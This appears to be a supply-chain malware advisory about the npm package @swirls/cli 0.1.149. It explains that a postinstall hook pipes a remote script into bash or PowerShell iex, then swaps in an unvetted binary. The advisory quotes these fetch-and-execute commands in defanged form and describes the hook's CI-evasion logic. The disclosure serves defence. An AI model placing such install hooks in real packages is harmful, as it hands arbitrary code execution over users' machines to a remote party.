@swirls/cli@0.1.149
Malicious code in @swirls/cli (npm)
Analysis
The package's postinstall hook (scripts/install.js, run as `node scripts/install.js`) executes an unpinned remote shell script at install time: `curl -fsSL hxxps://swirls[.]ai/install | bash`, and on Windows `powershell.exe -NoProfile -Command "irm hxxps://swirls[.]ai/install[.]ps1 | iex"` with the installer's entire environment inherited plus SWIRLS_YES=1. It then copies the downloaded binary from ~/.local/bin/swirls over the package's own bin/swirls entry and sets mode 0755, so the installed command is a binary that was never part of the package. The hook exits early under CI or for non-global installs and ignores child failures. The executable content is served dynamically, so it grants whoever controls swirls[.]ai/install arbitrary code execution as the installing user. The bin/swirls wrapper only prints the same curl/powershell commands when install scripts were skipped.
- analyzed by
- Leitwacht
- first seen
- Nov 11, 2026, 03:42 AM
- analyzed
- Nov 11, 2026, 03:44 AM
- weekly installs
- 1,372
Related advisories
- @swirls/cli@0.1.148 same package
- @swirls/cli@0.1.145 same package
- @swirls/cli@0.1.146 same package
- @swirls/cli@0.1.144 same package
- gemini-computer-use@0.4.3
- dotenv-runtime@1.0.0
- envforge3@1.0.1
- envparse2@1.0.1
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.